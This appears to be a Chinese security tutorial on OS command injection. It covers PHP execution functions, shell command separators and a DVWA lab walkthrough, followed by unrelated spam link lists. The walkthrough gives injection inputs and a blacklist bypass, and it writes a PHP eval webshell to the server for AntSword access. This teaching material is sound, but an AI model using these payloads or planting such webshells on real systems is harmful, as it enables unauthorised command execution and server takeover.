当前位置: 首页 > news >正文

给网站做app哈尔滨市建设工程信息

给网站做app,哈尔滨市建设工程信息,济南网站怎么做,深圳免费网站建设1、原理: Web应用程序的某些功能需要调用一些可以执行系统命令的函数,如果函数或者函数的参数能被用户控制,同时没有对用户的输入做严格的过滤,就能将恶意命令通过命令连接符拼接到正常的命令中,从而随意地执行系统命…

1、原理:

Web应用程序的某些功能需要调用一些可以执行系统命令的函数,如果函数或者函数的参数能被用户控制,同时没有对用户的输入做严格的过滤,就能将恶意命令通过命令连接符拼接到正常的命令中,从而随意地执行系统命令,实现getshell。

2、PHP中常见命令执行函数:

system()、exec()、shell_exec()、passthru()

 PHP 函数

Java 对应方式

Python 对应方式

 ASP 对应方式(经典 ASP)

ASP.NET 对应方式

system()

Runtime.exec() + 输出流读取

os.system()

WScript.Shell.Exec

Process.Start

exec()

Runtime.exec() + 输出流读取

subprocess.run(...,capture_output=True)

WScript.Shell.Exec` + `StdOut.ReadAll()

Process.Start` + `StandardOutput.ReadToEnd()

shell_exec()

Runtime.exec() + 读取完整输出

subprocess.run(...).stdout

WScript.Shell.Exec` + `StdOut.ReadAll()

Process.Start` + `StandardOutput.ReadToEnd()

passthru()

ProcessBuilder + 实时输出

subprocess.Popen(..., stdout=PIPE)

WScript.Shell.Exec` + 直接输出

Process.Start` + `StandardOutput.BaseStream.CopyTo(Response.OutputStream)

3、常用命令连接符(Windows和Linux通用):

Command1 | Command2  管道符,将C1执行后输出的结果作为输入传递给C2

Command1 || Command2  先后执行1,2,只有1执行失败才执行2

Command1 && Command2  先后执行1,2,只有1执行成功才执行2

Command1 & Command2  先后执行1,2,无论1执行是否成功

Command1 ; Command2  先后执行1,2,无论1执行是否成功(linux独有)

 4、【DVWA】之命令注入

Low

查看源代码,无任何防护

 (1)IP:127.0.0.1

(2)IP:127.0.0.  | ipconfig

(3)IP:127.0.0. || cd       #先后执行1,2,只有1执行失败才执行2

(4)IP:127.0.0.1 && cd         #先后执行1,2,只有1执行成功才执行2

(5)127.0.0.1 & dir   #先后执行1,2,无论1执行是否成功

(6)获取webshell

127.0.0.1 | echo "<?php @eval($_POST[666]);?>"  >666.php

127.0.0.1 | dir

蚁剑连接

http://10.20.0.5/DVWA-master/vulnerabilities/exec/666.php

Medium

查看源代码

 (1)IP:127.0.0.1 & cd       #先后执行1,2,无论1执行是否成功

 (2)IP:127.0.0.  | ipconfig

......

High

查看源码,通过黑名单过滤了更多命令连接符,但在过滤‘| ’时多了一个空格。

127.0.0.1 |cd        # |后不接空格绕过黑名单匹配

5、防御方法

(1)过滤常见命令连接符

(2)校验token

(3)使用白名单限制用户输入

http://www.dtcms.com/a/526763.html

相关文章:

  • 手机网站制作视频教程媒体查询做响应式网站
  • 工业设计网站有那些wordpress站内信插件
  • wordpress如何做网站怎样建网站赚钱
  • 为女友做网站wordpress源代码如何在本地编辑
  • 重庆市建筑工程造价信息网官网郑州seo优化外包热狗网
  • 网站底部图标一个主体如何添加网站
  • 饿了么企业网站公司注册地址多少钱
  • 做外贸网站空间多少g在线建站软件
  • 重庆专业网站开发服务WordPress百度智能小程序
  • 外包干了9天,技术退步明显。。。。。
  • 中英文网站建设公司网站登录按钮点击没反应什么原因
  • 老生常谈的字符串拼接
  • 深圳制作企业网站的公司库存管理软件免费版
  • 潍坊市建设厅网站苏州市建设工程建设中心网站
  • 蓝海国际版网站建设专业做物业网站的公司
  • 为了加强公司网站建设甘肃省建设厅注册中心网站首页
  • 国际网站开发客户网站建设 乐视
  • 高新技术企业网站怎么做做网站绿色和什么颜色搭配
  • wap门户网站网站开发 源码
  • 视频网站顶部效果怎么做的内蒙古自治区住房和城乡建设部网站
  • 做网站用什么配置的笔记本怎么做微信网页制作
  • 什么专业学做网站把自己做的网站进行app封包
  • 制作网站费用号卡分销系统
  • 政务建设网站得必要性旅游网站开发背景及意义
  • 微信免费做邀请函模版网站如何建设高校网站
  • 网站开发费怎么做会计分录免费永久vps服务器
  • 建立平台网站要多久电脑中怎样安装wordpress
  • 多态(1),咕咕咕!
  • xxx网站建设与优化推广网站视频弹窗代码
  • 在线制作网站源码渠道合作一站式平台